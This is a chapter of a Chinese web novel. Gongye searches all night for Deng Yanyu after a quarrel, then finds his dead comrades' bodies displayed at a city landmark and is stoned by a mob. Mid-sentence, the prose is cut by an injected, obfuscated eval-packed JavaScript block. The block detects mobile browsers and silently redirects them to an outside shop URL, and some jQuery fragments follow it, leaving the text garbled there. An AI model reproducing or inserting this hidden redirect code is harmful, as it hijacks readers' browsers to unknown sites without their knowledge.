这晚,他打了十几通电话。
他追出去没找到邓烟雨,担心她已经离开GS。打给医院没找到人,又打去她住的晓月公寓。
公寓在满月区。熊小滚当时对美委的上报里有要求满月区居民避难,但实际美委认为满月区在安全范围内,广播时剔除了该区。
因此满月区还大有人在,管家下班后就待在公寓没走。他也是个热心肠,大半夜去敲了707的房门半天,多次提醒“您朋友找您、您在吗、我进来了”后用临时密码开进去一看,里面没人。
公冶最后没办法,打给祁宴要了庆威凤的电话号码。
“如果她来找你了,还麻烦和我说一声。”
“嗯,谢谢。”
天快亮了,公冶坐在沙发上,双手握紧手机,抵在凌乱的额前。他的腿伤比较严重,没有得到有效治疗,恢复迟缓,连多走些路都吃力。
等到早上七点,他再也等不住,不顾伤势就要往外跑。
手机响了。
是庆威凤打来的,压着声:“她在我这……她不让我给你打电话发短信……我也是偷偷溜出来……”
公冶大概了解,说:“不好意思,她身上有伤,请你照顾好她。”
她们在庆云今入住的私立医院,庆威凤告知了一些情况,邓烟雨除了食欲不振情绪不好,没有明显外伤。她是一个小时前在电话亭给庆威凤打的电话,说了两句就痛哭出声,吐字都听不清楚。
庆威凤哪放得下心,专程跑出去接她了。
庆云今住的贵宾病房,舒适静谧,邓烟雨对借住在这有些不好意思,去病房里和他道了歉,跟着庆威凤在外面客厅的沙发靠了一觉。
醒来已是中午,护士为她们送来营养餐,邓烟雨喝了口汤就泪如雨下,庆威凤吓一跳,瞪着自己碗里喝光的汤:“怎么了?有毒?”
“没有毒,”邓烟雨哭肿了眼,抽噎着说,“我想他了。”
庆威凤真想撂挑子不干了:“你说你们,吵什么架呀,还玩失踪,你要把他急死嘞,这会儿想他有什么用,他能从地里蹦出来?”
邓烟雨饿得前胸贴后背,呜呜地埋下头,泪水糊着米饭吞下肚:“你不知道他说了多么过分的话,虽然我也说了很过分的话……”
“他说啥了?”
“他吃醋,让我来找庆云今,让我别碰他。”
庆威凤笑得花枝乱颤:“我的天,你既然知道他在吃我哥的醋,你还把他的气话当真?”
邓烟雨一口饭也扒拉不下了,手背狠狠擦泪痕,“他不信任我!他把我送他的生日礼物扔了!还骗我放在单位!”
“不会吧,我觉得公冶警官不是这样的人啊,会不会是不小心弄丢了?”
“这有区别吗,弄丢就弄丢了,实话实说就是了,我虽然会生气但我不会感到难受啊,他就是骗我,骗我!我才不要原谅他!他求我我也不原谅!”
庆威凤坐过去,抚着她的背:“这件事是他考虑不周,你可以不原谅他,也可以好几天不睬他,但不要再为了他生气了,小心长结节啊。”
这话没错,邓烟雨点点头,不再哭了,继续吃饭。
庆威凤把自己的水果也让给邓烟雨吃:“歌华的戒严解除了,我下午要回家一趟。”
“那我也回公寓。”
庆威凤嗯了声,瞧瞧眼前这位泪美人,带了点小心思地问:“烟雨,你真不去找他?你们以前吵架都谁先服软?”
“我们以前没吵架……就没吵架……他不跟我吵架的……呜……”
“好好好,好好好,我不说了,你们不吵架不吵架——”
下午离开前,庆威凤特意让司机去附近的手机店买了两部新手机。她和邓烟雨的手机都丢了,昨晚要不是陪在祁泰跟前,还没法和祁宴联系。
庆家的人办事效率极高,邓烟雨拿到新手机,电量满格,必要的APP皆装在里面,手机号码甚至还是原来的。
“否则他找不到你了。”
庆威凤抛下这句话,戴上帽子就作别了,另一位女司机陪邓烟雨在医院复检了一遍,确认大腿的伤不要紧,只要按时涂药即可,随后女司机送邓烟雨回到晓月公寓。
管家正好在,也认得邓烟雨,见了她急忙说:“你朋友找你一晚上,快和他回个电话吧。”
邓烟雨道了谢,回到自己的小房间,累得坐地上。
身上衣服太脏不能上床,洗澡也麻烦,但她还是去了浴室简单擦洗,避开伤口换上软绵绵的睡衣,在天还未暗的时候就躺到床上。
窗半开着,有微风,外面没什么人声,难得晚饭时间不嘈杂。
邓烟雨登陆微博,随便刷刷,首页的热搜惊得她从床上跳起来——
两个小时前。
朗玉山和小马急匆匆登上职工宿舍五楼,去敲公冶的房门。
“影青——”朗玉山急得像个为孩子发愁的老父亲,“影青你没事吗,怎么一天都闷在里头不出来啊,你出来一下好不好,别吓我我心脏不好,你宿舍里有吃的吗?”
里面死寂沉沉。
“影青!”一向温厚的小马扯嗓子吼了,“又不是天塌了,别不出声,朗院长多担心你啊,你伤都没治,不要命了?赶紧出来否则我撬门锁了!”
过了几秒,门开了,公冶肩膀挂着毛巾,一身热气出现在他们面前。
“我就洗个澡……”他慢吞吞说,“没闹自杀,你们干嘛呢……”
小马提到嗓子眼的心脏回去了:“你还有伤,你洗个屁个澡!”
“愈合了。”
“愈合个屁!出来!”小马拽着走路不稳的他,来到室外廊上,紧盯他的腹部和腿,“脱了!让我看!”
“在这?”公冶生理性抗拒,“不要。”
“哎哟老马你急什么急什么!”这回轮到朗玉山说教了,那对手臂在公冶周围展开着,生怕碰到弄疼他,“小滚说你腹都穿了,腿断了!昨晚他们没给你治疗是不是?小滚已经去医院找那两个医护了,这件事必须狠狠说一下!什么玩意儿啊,就因为是公美,连袋红悬液都不给打?!”
“闹翻他们!”小马手一挥,也炸了,“毛病!当公美好欺负?当总部的公美好欺负?!我看谁敢这么欺负你们我第一个不放过!”
纳税跟着朗玉山上来了,竖起尾巴贴近公冶,喵了声。公冶蹲下,纳税就自然地跳到他怀中。
“我真没事。”公冶蹲下有点起不来了,索性靠墙,说了好几遍没事,奈何两位老人正气血上头呢,不听,一个劲他祖宗爹妈地耗损自己的功德。
纳税在咕噜噜地发动,这轻微持久的震动非常治愈,公冶把下巴搁在小猫圆滚滚的脑袋上,闻着米香的小猫味,缓解了过来。
“我腿真的愈合了。”
“那你吃啥了吗,你不吃东西怎么愈合啊,快跟我来,我这有……”
“朗院长。”公冶喊了一声,他们这才安静下来。
“等等,”公冶刚被小马猛一拉,拖鞋打滑了,抱着纳税起身以后用脚默默回正,才说,“戒严解除了,我想出去……找人。”
“找人?”朗玉山意味深长地叉起腰,瞅了眼空荡荡的屋,叹气,“这时候外面哪有人,刚发布的解除通告,哪来的人?”
“新座人满为患呢,”小马殷勤地奉上消息,“都怕再次戒严,咔咔扫荡超市囤货,末日降临了我的老院长~”
朗玉山扶额:“一边去!”
他们拗不过公冶,但公冶同样拗不过他们,配合上过药后才离开GS。
庆威凤前面发短信给他,说邓烟雨复检没问题,目前回公寓了,还给她买了手机,手机号没换,他可以打了。于是他在去找邓烟雨的路上打了三通。
均被拒接。
就算是陌生来电,她也认得出他的手机号,她故意不接。
还在生气。
当然,生气是应该的,他说了那么伤人的话。
他也不知道自己当时怎么了,话都不过脑子,小雨也受到打击濒临崩溃,哭泣着一遍遍道歉,他竟不为所动,只管自己伤心欲绝,妒火焚身。
说好不提那个人,结果闹到最后还是自己主动提起来。
领带夹一直放在小雨身上,他也迟钝得要死,多少天了都没察觉。
不论是身为公美,还是作为男朋友,他都没有好好起到保护作用。
实在是失败透顶了。
公冶走在人群中,面颊还留有淡淡一痕伤,看着徒增锐气。
今天出来的人不算多,基本都分散
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16801916|187255||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在各大超市买买买。经过人民广场,公冶发觉有异样的视线投过来,他环顾周围,也有几个美食家,但凡与之迎上,人们就抓紧自己的小孩或者绕道走,避之不及。
双紫星事件一夜之间让人类对美食家改观了。
但很可惜,是反方向改观。
往后只怕冲突不断。
公冶拽起外套后面的连衣帽戴上,把自己裹在局限的阴影里,前方广场中央聚集了一群人,纷纷拿出手机,个别还举高拍。
公冶虽疑惑,但不准备停下,他不喜欢人味多的地方,可他个子高,想不看见都难,还是远远地瞥了眼。
这一眼,让他此生——刻骨难忘。
广场中央有一座名为“歌华之门”的小型地标,石门下吊着两个人。
这两个人穿着残破的作战服,双手被绑,脑袋歪垂,苍白的脸溅着血,左胸膛被开了血洞,冷风可以呼呼地游走。
公冶的脚像胶住了,再也迈不动。
他们是谁,他怎会不知道,即便只是模糊的残影,他又怎会不知道。
他差点站不住。
……
那是死去的风铎和淞起。
他们本该英烈皓洁的身姿,此刻活活就像挂在城墙上十恶不赦的罪犯,枭首示众般地暴露在众人眼底。
公冶从来没有这么悲愤憎恨过,从来没有。他满眼都是泪水和怒火,大步冲上前拨开一个个人。
“谁啊……”
大家伙错愕地望着一个步履不稳的人跑向无人敢接近的中央,踩上花坛,伸出负伤的双手,去解那团死结,却怎么也解不开,于是伸长利爪抓挠,人群中发出淡淡的惊呼声:“我靠他也是美食家……”
“这俩干嘛吊在这……好吓人……”
“老饕们性癖真杂,拿死人刷存在感……”
公冶把风铎淞起救下来,放在平地上,不忍直视他们的脸,难受得声音都发不出来,有人还走近拍摄,公冶对此怒不可遏,大吼:“别拍了!”
“我草……”
“这货变异了!快逃啊!”
一声“变异”,惹得群众骤然惊哗,个别几人目露冰冷的憎意。闪光灯密密麻麻,镜头在两具尸体和公冶脸上来回切换。
“直播间的宝宝们,你们看见了吗,简直是奇耻大辱啊,这是歌华之门,神圣之地,我们的地标就被玷污了,肉畜已经骑到我们头上了……”
有人冲着直播的镜头大呼小叫,公冶冷冷瞪着那个人:“你在直播?”他呲牙厉吼,“谁允许你在这直播?!他们是牺牲的公美!你们——”
啪!
公冶感觉额头忽凉,随即温热的液体覆盖淌下。
一颗不小的石块从滚落在地,他茫然抬手,触摸自己流血的额头。
“妈的,什么时候轮到美食家教训我们了?”
“吼什么!要不是你们吃人!歌华会变成现在这个样子吗?!”
“公美怎么了,公美了不起啊?我们天天好血好肉供着你们养着你们,结果双紫星出事死了多少人,你们还委屈上了?真他妈废物!”
“废物!废物!”
“打他!让他叫嚣!打死他!”
什么东西都扔了过来,噼里啪啦攻击他,夹杂千万唾骂,砸得公冶再也不能反抗,砸得神圣之地沦为菜市口。一颗西红柿掷在风铎胸前,像发烂的血,公冶挡在他们身前,用自己的躯体承受一顿顿铺天盖地的暴砸。
有一瞬间,他和人群中几双绿色的眼睛对上了。
那些眼睛虽布满怜悯,但同样都充斥着畏缩与无能为力。
“不要砸了……”
“不要再砸了……”
嚎叫着的人们,好像生出了獠牙,生出了最凶残的一面。公冶的背挺不起来,那副样子,像在乞求着任何一个人的原谅。
几分钟后,防暴警察赶至现场,驱散人群。
人民广场狼藉成灾,满地都是人们的怒气。公冶被拖开时,还在一声复一声地请求:“先救他们……”
他血丝密布的疲惫瞳仁中,全是决堤的灰烬,和惨淡的日光一起倾泻在两抹轻飘飘的英姿之上。
天际烧得通红,仿佛被噩梦融化的一滩血泪。
那轮落日,在挣扎。